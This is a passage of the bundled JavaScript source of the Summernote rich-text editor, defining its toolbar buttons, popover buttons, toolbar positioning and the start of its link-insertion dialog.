            shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');
        }
        shortcut = shortcut.replace('BACKSLASH', '\\')
            .replace('SLASH', '/')
            .replace('LEFTBRACKET', '[')
            .replace('RIGHTBRACKET', ']');
        return ' (' + shortcut + ')';
    };
    Buttons.prototype.button = function (o) {
        if (!this.options.tooltip && o.tooltip) {
            delete o.tooltip;
        }
        o.container = this.options.container;
        return this.ui.button(o);
    };
    Buttons.prototype.initialize = function () {
        this.addToolbarButtons();
        this.addImagePopoverButtons();
        this.addLinkPopoverButtons();
        this.addTablePopoverButtons();
        this.fontInstalledMap = {};
    };
    Buttons.prototype.destroy = function () {
        delete this.fontInstalledMap;
    };
    Buttons.prototype.isFontInstalled = function (name) {
        if (!this.fontInstalledMap.hasOwnProperty(name)) {
            this.fontInstalledMap[name] = env.isFontInstalled(name) ||
                lists.contains(this.options.fontNamesIgnoreCheck, name);
        }
        return this.fontInstalledMap[name];
    };
    Buttons.prototype.isFontDeservedToAdd = function (name) {
        var genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];
        name = name.toLowerCase();
        return ((name !== '') && this.isFontInstalled(name) && ($$1.inArray(name, genericFamilies) === -1));
    };
    Buttons.prototype.addToolbarButtons = function () {
        var _this = this;
        this.context.memo('button.style', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.magic), _this.options),
                    tooltip: _this.lang.style.style,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown({
                    className: 'dropdown-style',
                    items: _this.options.styleTags,
                    title: _this.lang.style.style,
                    template: function (item) {
                        if (typeof item === 'string') {
                            item = { tag: item, title: (_this.lang.style.hasOwnProperty(item) ? _this.lang.style[item] : item) };
                        }
                        var tag = item.tag;
                        var title = item.title;
                        var style = item.style ? ' style="' + item.style + '" ' : '';
                        var className = item.className ? ' class="' + item.className + '"' : '';
                        return '<' + tag + style + className + '>' + title + '</' + tag + '>';
                    },
                    click: _this.context.createInvokeHandler('editor.formatBlock')
                })
            ]).render();
        });
        var _loop_1 = function (styleIdx, styleLen) {
            var item = this_1.options.styleTags[styleIdx];
            this_1.context.memo('button.style.' + item, function () {
                return _this.button({
                    className: 'note-btn-style-' + item,
                    contents: '<div data-value="' + item + '">' + item.toUpperCase() + '</div>',
                    tooltip: _this.lang.style[item],
                    click: _this.context.createInvokeHandler('editor.formatBlock')
                }).render();
            });
        };
        var this_1 = this;
        for (var styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {
            _loop_1(styleIdx, styleLen);
        }
        this.context.memo('button.bold', function () {
            return _this.button({
                className: 'note-btn-bold',
                contents: _this.ui.icon(_this.options.icons.bold),
                tooltip: _this.lang.font.bold + _this.representShortcut('bold'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.bold')
            }).render();
        });
        this.context.memo('button.italic', function () {
            return _this.button({
                className: 'note-btn-italic',
                contents: _this.ui.icon(_this.options.icons.italic),
                tooltip: _this.lang.font.italic + _this.representShortcut('italic'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.italic')
            }).render();
        });
        this.context.memo('button.underline', function () {
            return _this.button({
                className: 'note-btn-underline',
                contents: _this.ui.icon(_this.options.icons.underline),
                tooltip: _this.lang.font.underline + _this.representShortcut('underline'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.underline')
            }).render();
        });
        this.context.memo('button.clear', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.eraser),
                tooltip: _this.lang.font.clear + _this.representShortcut('removeFormat'),
                click: _this.context.createInvokeHandler('editor.removeFormat')
            }).render();
        });
        this.context.memo('button.strikethrough', function () {
            return _this.button({
                className: 'note-btn-strikethrough',
                contents: _this.ui.icon(_this.options.icons.strikethrough),
                tooltip: _this.lang.font.strikethrough + _this.representShortcut('strikethrough'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')
            }).render();
        });
        this.context.memo('button.superscript', function () {
            return _this.button({
                className: 'note-btn-superscript',
                contents: _this.ui.icon(_this.options.icons.superscript),
                tooltip: _this.lang.font.superscript,
                click: _this.context.createInvokeHandlerAndUpdateState('editor.superscript')
            }).render();
        });
        this.context.memo('button.subscript', function () {
            return _this.button({
                className: 'note-btn-subscript',
                contents: _this.ui.icon(_this.options.icons.subscript),
                tooltip: _this.lang.font.subscript,
                click: _this.context.createInvokeHandlerAndUpdateState('editor.subscript')
            }).render();
        });
        this.context.memo('button.fontname', function () {
            var styleInfo = _this.context.invoke('editor.currentStyle');
            // Add 'default' fonts into the fontnames array if not exist
            $$1.each(styleInfo['font-family'].split(','), function (idx, fontname) {
                fontname = fontname.trim().replace(/['"]+/g, '');
                if (_this.isFontDeservedToAdd(fontname)) {
                    if ($$1.inArray(fontname, _this.options.fontNames) === -1) {
                        _this.options.fontNames.push(fontname);
                    }
                }
            });
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents('<span class="note-current-fontname"/>', _this.options),
                    tooltip: _this.lang.font.name,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    className: 'dropdown-fontname',
                    checkClassName: _this.options.icons.menuCheck,
                    items: _this.options.fontNames.filter(_this.isFontInstalled.bind(_this)),
                    title: _this.lang.font.name,
                    template: function (item) {
                        return '<span style="font-family: \'' + item + '\'">' + item + '</span>';
                    },
                    click: _this.context.createInvokeHandlerAndUpdateState('editor.fontName')
                })
            ]).render();
        });
        this.context.memo('button.fontsize', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents('<span class="note-current-fontsize"/>', _this.options),
                    tooltip: _this.lang.font.size,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    className: 'dropdown-fontsize',
                    checkClassName: _this.options.icons.menuCheck,
                    items: _this.options.fontSizes,
                    title: _this.lang.font.size,
                    click: _this.context.createInvokeHandlerAndUpdateState('editor.fontSize')
                })
            ]).render();
        });
        this.context.memo('button.color', function () {
            return _this.ui.buttonGroup({
                className: 'note-color',
                children: [
                    _this.button({
                        className: 'note-current-color-button',
                        contents: _this.ui.icon(_this.options.icons.font + ' note-recent-color'),
                        tooltip: _this.lang.color.recent,
                        click: function (e) {
                            var $button = $$1(e.currentTarget);
                            _this.context.invoke('editor.color', {
                                backColor: $button.attr('data-backColor'),
                                foreColor: $button.attr('data-foreColor')
                            });
                        },
                        callback: function ($button) {
                            var $recentColor = $button.find('.note-recent-color');
                            $recentColor.css('background-color', '#FFFF00');
                            $button.attr('data-backColor', '#FFFF00');
                        }
                    }),
                    _this.button({
                        className: 'dropdown-toggle',
                        contents: _this.ui.dropdownButtonContents('', _this.options),
                        tooltip: _this.lang.color.more,
                        data: {
                            toggle: 'dropdown'
                        }
                    }),
                    _this.ui.dropdown({
                        items: [
                            '<div class="note-palette">',
                            '  <div class="note-palette-title">' + _this.lang.color.background + '</div>',
                            '  <div>',
                            '    <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">',
                            _this.lang.color.transparent,
                            '    </button>',
                            '  </div>',
                            '  <div class="note-holder" data-event="backColor"/>',
                            '</div>',
                            '<div class="note-palette">',
                            '  <div class="note-palette-title">' + _this.lang.color.foreground + '</div>',
                            '  <div>',
                            '    <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">',
                            _this.lang.color.resetToDefault,
                            '    </button>',
                            '  </div>',
                            '  <div class="note-holder" data-event="foreColor"/>',
                            '</div>'
                        ].join(''),
                        callback: function ($dropdown) {
                            $dropdown.find('.note-holder').each(function (idx, item) {
                                var $holder = $$1(item);
                                $holder.append(_this.ui.palette({
                                    colors: _this.options.colors,
                                    colorsName: _this.options.colorsName,
                                    eventName: $holder.data('event'),
                                    container: _this.options.container,
                                    tooltip: _this.options.tooltip
                                }).render());
                            });
                        },
                        click: function (event) {
                            var $button = $$1(event.target);
                            var eventName = $button.data('event');
                            var value = $button.data('value');
                            if (eventName && value) {
                                var key = eventName === 'backColor' ? 'background-color' : 'color';
                                var $color = $button.closest('.note-color').find('.note-recent-color');
                                var $currentButton = $button.closest('.note-color').find('.note-current-color-button');
                                $color.css(key, value);
                                $currentButton.attr('data-' + eventName, value);
                                _this.context.invoke('editor.' + eventName, value);
                            }
                        }
                    })
                ]
            }).render();
        });
        this.context.memo('button.ul', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.unorderedlist),
                tooltip: _this.lang.lists.unordered + _this.representShortcut('insertUnorderedList'),
                click: _this.context.createInvokeHandler('editor.insertUnorderedList')
            }).render();
        });
        this.context.memo('button.ol', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.orderedlist),
                tooltip: _this.lang.lists.ordered + _this.representShortcut('insertOrderedList'),
                click: _this.context.createInvokeHandler('editor.insertOrderedList')
            }).render();
        });
        var justifyLeft = this.button({
            contents: this.ui.icon(this.options.icons.alignLeft),
            tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),
            click: this.context.createInvokeHandler('editor.justifyLeft')
        });
        var justifyCenter = this.button({
            contents: this.ui.icon(this.options.icons.alignCenter),
            tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),
            click: this.context.createInvokeHandler('editor.justifyCenter')
        });
        var justifyRight = this.button({
            contents: this.ui.icon(this.options.icons.alignRight),
            tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),
            click: this.context.createInvokeHandler('editor.justifyRight')
        });
        var justifyFull = this.button({
            contents: this.ui.icon(this.options.icons.alignJustify),
            tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),
            click: this.context.createInvokeHandler('editor.justifyFull')
        });
        var outdent = this.button({
            contents: this.ui.icon(this.options.icons.outdent),
            tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),
            click: this.context.createInvokeHandler('editor.outdent')
        });
        var indent = this.button({
            contents: this.ui.icon(this.options.icons.indent),
            tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),
            click: this.context.createInvokeHandler('editor.indent')
        });
        this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));
        this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));
        this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));
        this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));
        this.context.memo('button.outdent', func.invoke(outdent, 'render'));
        this.context.memo('button.indent', func.invoke(indent, 'render'));
        this.context.memo('button.paragraph', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.alignLeft), _this.options),
                    tooltip: _this.lang.paragraph.paragraph,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown([
                    _this.ui.buttonGroup({
                        className: 'note-align',
                        children: [justifyLeft, justifyCenter, justifyRight, justifyFull]
                    }),
                    _this.ui.buttonGroup({
                        className: 'note-list',
                        children: [outdent, indent]
                    })
                ])
            ]).render();
        });
        this.context.memo('button.height', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.textHeight), _this.options),
                    tooltip: _this.lang.font.height,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    items: _this.options.lineHeights,
                    checkClassName: _this.options.icons.menuCheck,
                    className: 'dropdown-line-height',
                    title: _this.lang.font.height,
                    click: _this.context.createInvokeHandler('editor.lineHeight')
                })
            ]).render();
        });
        this.context.memo('button.table', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.table), _this.options),
                    tooltip: _this.lang.table.table,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown({
                    title: _this.lang.table.table,
                    className: 'note-table',
                    items: [
                        '<div class="note-dimension-picker">',
                        '  <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>',
                        '  <div class="note-dimension-picker-highlighted"/>',
                        '  <div class="note-dimension-picker-unhighlighted"/>',
                        '</div>',
                        '<div class="note-dimension-display">1 x 1</div>'
                    ].join('')
                })
            ], {
                callback: function ($node) {
                    var $catcher = $node.find('.note-dimension-picker-mousecatcher');
                    $catcher.css({
                        width: _this.options.insertTableMaxSize.col + 'em',
                        height: _this.options.insertTableMaxSize.row + 'em'
                    }).mousedown(_this.context.createInvokeHandler('editor.insertTable'))
                        .on('mousemove', _this.tableMoveHandler.bind(_this));
                }
            }).render();
        });
        this.context.memo('button.link', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.link),
                tooltip: _this.lang.link.link + _this.representShortcut('linkDialog.show'),
                click: _this.context.createInvokeHandler('linkDialog.show')
            }).render();
        });
        this.context.memo('button.picture', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.picture),
                tooltip: _this.lang.image.image,
                click: _this.context.createInvokeHandler('imageDialog.show')
            }).render();
        });
        this.context.memo('button.video', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.video),
                tooltip: _this.lang.video.video,
                click: _this.context.createInvokeHandler('videoDialog.show')
            }).render();
        });
        this.context.memo('button.hr', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.minus),
                tooltip: _this.lang.hr.insert + _this.representShortcut('insertHorizontalRule'),
                click: _this.context.createInvokeHandler('editor.insertHorizontalRule')
            }).render();
        });
        this.context.memo('button.fullscreen', function () {
            return _this.button({
                className: 'btn-fullscreen',
                contents: _this.ui.icon(_this.options.icons.arrowsAlt),
                tooltip: _this.lang.options.fullscreen,
                click: _this.context.createInvokeHandler('fullscreen.toggle')
            }).render();
        });
        this.context.memo('button.codeview', function () {
            return _this.button({
                className: 'btn-codeview',
                contents: _this.ui.icon(_this.options.icons.code),
                tooltip: _this.lang.options.codeview,
                click: _this.context.createInvokeHandler('codeview.toggle')
            }).render();
        });
        this.context.memo('button.redo', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.redo),
                tooltip: _this.lang.history.redo + _this.representShortcut('redo'),
                click: _this.context.createInvokeHandler('editor.redo')
            }).render();
        });
        this.context.memo('button.undo', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.undo),
                tooltip: _this.lang.history.undo + _this.representShortcut('undo'),
                click: _this.context.createInvokeHandler('editor.undo')
            }).render();
        });
        this.context.memo('button.help', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.question),
                tooltip: _this.lang.options.help,
                click: _this.context.createInvokeHandler('helpDialog.show')
            }).render();
        });
    };
    /**
     * image : [
     *   ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
     *   ['float', ['floatLeft', 'floatRight', 'floatNone' ]],
     *   ['remove', ['removeMedia']]
     * ],
     */
    Buttons.prototype.addImagePopoverButtons = function () {
        var _this = this;
        // Image Size Buttons
        this.context.memo('button.imageSize100', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">100%</span>',
                tooltip: _this.lang.image.resizeFull,
                click: _this.context.createInvokeHandler('editor.resize', '1')
            }).render();
        });
        this.context.memo('button.imageSize50', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">50%</span>',
                tooltip: _this.lang.image.resizeHalf,
                click: _this.context.createInvokeHandler('editor.resize', '0.5')
            }).render();
        });
        this.context.memo('button.imageSize25', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">25%</span>',
                tooltip: _this.lang.image.resizeQuarter,
                click: _this.context.createInvokeHandler('editor.resize', '0.25')
            }).render();
        });
        // Float Buttons
        this.context.memo('button.floatLeft', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignLeft),
                tooltip: _this.lang.image.floatLeft,
                click: _this.context.createInvokeHandler('editor.floatMe', 'left')
            }).render();
        });
        this.context.memo('button.floatRight', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignRight),
                tooltip: _this.lang.image.floatRight,
                click: _this.context.createInvokeHandler('editor.floatMe', 'right')
            }).render();
        });
        this.context.memo('button.floatNone', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignJustify),
                tooltip: _this.lang.image.floatNone,
                click: _this.context.createInvokeHandler('editor.floatMe', 'none')
            }).render();
        });
        // Remove Buttons
        this.context.memo('button.removeMedia', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.trash),
                tooltip: _this.lang.image.remove,
                click: _this.context.createInvokeHandler('editor.removeMedia')
            }).render();
        });
    };
    Buttons.prototype.addLinkPopoverButtons = function () {
        var _this = this;
        this.context.memo('button.linkDialogShow', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.link),
                tooltip: _this.lang.link.edit,
                click: _this.context.createInvokeHandler('linkDialog.show')
            }).render();
        });
        this.context.memo('button.unlink', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.unlink),
                tooltip: _this.lang.link.unlink,
                click: _this.context.createInvokeHandler('editor.unlink')
            }).render();
        });
    };
    /**
     * table : [
     *  ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
     *  ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
     * ],
     */
    Buttons.prototype.addTablePopoverButtons = function () {
        var _this = this;
        this.context.memo('button.addRowUp', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowAbove),
                tooltip: _this.lang.table.addRowAbove,
                click: _this.context.createInvokeHandler('editor.addRow', 'top')
            }).render();
        });
        this.context.memo('button.addRowDown', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowBelow),
                tooltip: _this.lang.table.addRowBelow,
                click: _this.context.createInvokeHandler('editor.addRow', 'bottom')
            }).render();
        });
        this.context.memo('button.addColLeft', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colBefore),
                tooltip: _this.lang.table.addColLeft,
                click: _this.context.createInvokeHandler('editor.addCol', 'left')
            }).render();
        });
        this.context.memo('button.addColRight', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colAfter),
                tooltip: _this.lang.table.addColRight,
                click: _this.context.createInvokeHandler('editor.addCol', 'right')
            }).render();
        });
        this.context.memo('button.deleteRow', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowRemove),
                tooltip: _this.lang.table.delRow,
                click: _this.context.createInvokeHandler('editor.deleteRow')
            }).render();
        });
        this.context.memo('button.deleteCol', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colRemove),
                tooltip: _this.lang.table.delCol,
                click: _this.context.createInvokeHandler('editor.deleteCol')
            }).render();
        });
        this.context.memo('button.deleteTable', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.trash),
                tooltip: _this.lang.table.delTable,
                click: _this.context.createInvokeHandler('editor.deleteTable')
            }).render();
        });
    };
    Buttons.prototype.build = function ($container, groups) {
        for (var groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {
            var group = groups[groupIdx];
            var groupName = $$1.isArray(group) ? group[0] : group;
            var buttons = $$1.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];
            var $group = this.ui.buttonGroup({
                className: 'note-' + groupName
            }).render();
            for (var idx = 0, len = buttons.length; idx < len; idx++) {
                var btn = this.context.memo('button.' + buttons[idx]);
                if (btn) {
                    $group.append(typeof btn === 'function' ? btn(this.context) : btn);
                }
            }
            $group.appendTo($container);
        }
    };
    /**
     * @param {jQuery} [$container]
     */
    Buttons.prototype.updateCurrentStyle = function ($container) {
        var _this = this;
        var $cont = $container || this.$toolbar;
        var styleInfo = this.context.invoke('editor.currentStyle');
        this.updateBtnStates($cont, {
            '.note-btn-bold': function () {
                return styleInfo['font-bold'] === 'bold';
            },
            '.note-btn-italic': function () {
                return styleInfo['font-italic'] === 'italic';
            },
            '.note-btn-underline': function () {
                return styleInfo['font-underline'] === 'underline';
            },
            '.note-btn-subscript': function () {
                return styleInfo['font-subscript'] === 'subscript';
            },
            '.note-btn-superscript': function () {
                return styleInfo['font-superscript'] === 'superscript';
            },
            '.note-btn-strikethrough': function () {
                return styleInfo['font-strikethrough'] === 'strikethrough';
            }
        });
        if (styleInfo['font-family']) {
            var fontNames = styleInfo['font-family'].split(',').map(function (name) {
                return name.replace(/[\'\"]/g, '')
                    .replace(/\s+$/, '')
                    .replace(/^\s+/, '');
            });
            var fontName_1 = lists.find(fontNames, this.isFontInstalled.bind(this));
            $cont.find('.dropdown-fontname a').each(function (idx, item) {
                var $item = $$1(item);
                // always compare string to avoid creating another func.
                var isChecked = ($item.data('value') + '') === (fontName_1 + '');
                $item.toggleClass('checked', isChecked);
            });
            $cont.find('.note-current-fontname').text(fontName_1).css('font-family', fontName_1);
        }
        if (styleInfo['font-size']) {
            var fontSize_1 = styleInfo['font-size'];
            $cont.find('.dropdown-fontsize a').each(function (idx, item) {
                var $item = $$1(item);
                // always compare with string to avoid creating another func.
                var isChecked = ($item.data('value') + '') === (fontSize_1 + '');
                $item.toggleClass('checked', isChecked);
            });
            $cont.find('.note-current-fontsize').text(fontSize_1);
        }
        if (styleInfo['line-height']) {
            var lineHeight_1 = styleInfo['line-height'];
            $cont.find('.dropdown-line-height li a').each(function (idx, item) {
                // always compare with string to avoid creating another func.
                var isChecked = ($$1(item).data('value') + '') === (lineHeight_1 + '');
                _this.className = isChecked ? 'checked' : '';
            });
        }
    };
    Buttons.prototype.updateBtnStates = function ($container, infos) {
        var _this = this;
        $$1.each(infos, function (selector, pred) {
            _this.ui.toggleBtnActive($container.find(selector), pred());
        });
    };
    Buttons.prototype.tableMoveHandler = function (event) {
        var PX_PER_EM = 18;
        var $picker = $$1(event.target.parentNode); // target is mousecatcher
        var $dimensionDisplay = $picker.next();
        var $catcher = $picker.find('.note-dimension-picker-mousecatcher');
        var $highlighted = $picker.find('.note-dimension-picker-highlighted');
        var $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');
        var posOffset;
        // HTML5 with jQuery - e.offsetX is undefined in Firefox
        if (event.offsetX === undefined) {
            var posCatcher = $$1(event.target).offset();
            posOffset = {
                x: event.pageX - posCatcher.left,
                y: event.pageY - posCatcher.top
            };
        }
        else {
            posOffset = {
                x: event.offsetX,
                y: event.offsetY
            };
        }
        var dim = {
            c: Math.ceil(posOffset.x / PX_PER_EM) || 1,
            r: Math.ceil(posOffset.y / PX_PER_EM) || 1
        };
        $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });
        $catcher.data('value', dim.c + 'x' + dim.r);
        if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {
            $unhighlighted.css({ width: dim.c + 1 + 'em' });
        }
        if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {
            $unhighlighted.css({ height: dim.r + 1 + 'em' });
        }
        $dimensionDisplay.html(dim.c + ' x ' + dim.r);
    };
    return Buttons;
}());

var Toolbar = /** @class */ (function () {
    function Toolbar(context) {
        this.context = context;
        this.$window = $$1(window);
        this.$document = $$1(document);
        this.ui = $$1.summernote.ui;
        this.$note = context.layoutInfo.note;
        this.$editor = context.layoutInfo.editor;
        this.$toolbar = context.layoutInfo.toolbar;
        this.options = context.options;
        this.followScroll = this.followScroll.bind(this);
    }
    Toolbar.prototype.shouldInitialize = function () {
        return !this.options.airMode;
    };
    Toolbar.prototype.initialize = function () {
        var _this = this;
        this.options.toolbar = this.options.toolbar || [];
        if (!this.options.toolbar.length) {
            this.$toolbar.hide();
        }
        else {
            this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);
        }
        if (this.options.toolbarContainer) {
            this.$toolbar.appendTo(this.options.toolbarContainer);
        }
        this.changeContainer(false);
        this.$note.on('summernote.keyup summernote.mouseup summernote.change', function () {
            _this.context.invoke('buttons.updateCurrentStyle');
        });
        this.context.invoke('buttons.updateCurrentStyle');
        if (this.options.followingToolbar) {
            this.$window.on('scroll resize', this.followScroll);
        }
    };
    Toolbar.prototype.destroy = function () {
        this.$toolbar.children().remove();
        if (this.options.followingToolbar) {
            this.$window.off('scroll resize', this.followScroll);
        }
    };
    Toolbar.prototype.followScroll = function () {
        if (this.$editor.hasClass('fullscreen')) {
            return false;
        }
        var $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');
        var editorHeight = this.$editor.outerHeight();
        var editorWidth = this.$editor.width();
        var toolbarHeight = this.$toolbar.height();
        $toolbarWrapper.css({
            height: toolbarHeight
        });
        // check if the web app is currently using another static bar
        var otherBarHeight = 0;
        if (this.options.otherStaticBar) {
            otherBarHeight = $$1(this.options.otherStaticBar).outerHeight();
        }
        var currentOffset = this.$document.scrollTop();
        var editorOffsetTop = this.$editor.offset().top;
        var editorOffsetBottom = editorOffsetTop + editorHeight;
        var activateOffset = editorOffsetTop - otherBarHeight;
        var deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;
        if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {
            this.$toolbar.css({
                position: 'fixed',
                top: otherBarHeight,
                width: editorWidth
            });
        }
        else {
            this.$toolbar.css({
                position: 'relative',
                top: 0,
                width: '100%'
            });
        }
    };
    Toolbar.prototype.changeContainer = function (isFullscreen) {
        if (isFullscreen) {
            this.$toolbar.prependTo(this.$editor);
        }
        else {
            if (this.options.toolbarContainer) {
                this.$toolbar.appendTo(this.options.toolbarContainer);
            }
        }
    };
    Toolbar.prototype.updateFullscreen = function (isFullscreen) {
        this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);
        this.changeContainer(isFullscreen);
    };
    Toolbar.prototype.updateCodeview = function (isCodeview) {
        this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);
        if (isCodeview) {
            this.deactivate();
        }
        else {
            this.activate();
        }
    };
    Toolbar.prototype.activate = function (isIncludeCodeview) {
        var $btn = this.$toolbar.find('button');
        if (!isIncludeCodeview) {
            $btn = $btn.not('.btn-codeview');
        }
        this.ui.toggleBtn($btn, true);
    };
    Toolbar.prototype.deactivate = function (isIncludeCodeview) {
        var $btn = this.$toolbar.find('button');
        if (!isIncludeCodeview) {
            $btn = $btn.not('.btn-codeview');
        }
        this.ui.toggleBtn($btn, false);
    };
    return Toolbar;
}());

var LinkDialog = /** @class */ (function () {
    function LinkDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
        context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);
    }
    LinkDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<div class="form-group note-form-group">',
            "<label class=\"note-form-label\">" + this.lang.link.textToDisplay + "</label>",
            '<input class="note-link-text form-control note-form-control  note-input" type="text" />',
            '</div>',
            '<div class="form-group note-form-group">',
            "<label class=\"note-form-label\">" + this.lang.link.url + "</label>",
            '<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />',
            '</div>',
            !this.options.disableLinkTarget
                ? $$1('<div/>').append(this.ui.checkbox({
                    id: 'sn-checkbox-open-in-new-window',
                    text: this.lang.link.openInNewWindow,
                    checked: true
                }).render()).html()
                : ''
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.link.insert + "</button>";
        this.$dialog = this.ui.dialog({
            className: 'link-dialog',
            title: this.lang.link.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    LinkDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    LinkDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    /**
     * toggle update button
     */
    LinkDialog.prototype.toggleLinkBtn = function ($linkBtn, $linkText, $linkUrl) {
        this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());
    };
    /**
     * Show link dialog and set event handlers on dialog controls.
     *
     * @param {Object} linkInfo
     * @return {Promise}
     */
    LinkDialog.prototype.showLinkDialog = function (linkInfo) {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            var $linkText = _this.$dialog.find('.note-link-text');
            var $linkUrl = _this.$dialog.find('.note-link-url');
            var $linkBtn = _this.$dialog.find('.note-link-btn');
            var $openInNewWindow = _this.$dialog.find('input[type=checkbox]');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                // if no url was given, copy text to url
                if (!linkInfo.url) {
                    linkInfo.url = linkInfo.text;
                }
                $linkText.val(linkInfo.text);
                var handleLinkTextUpdate = function () {
                    _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                    // if linktext was modified by keyup,
                    // stop cloning text from linkUrl
                    linkInfo.text = $linkText.val();
                };
                $linkText.on('input', handleLinkTextUpdate).on('paste', function () {
                    setTimeout(handleLinkTextUpdate, 0);
                });
                var handleLinkUrlUpdate = function () {
                    _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                    // display same link on `Text to display` input
                    // when create a new link
                    if (!linkInfo.text) {
                        $linkText.val($linkUrl.val());
                    }
                };
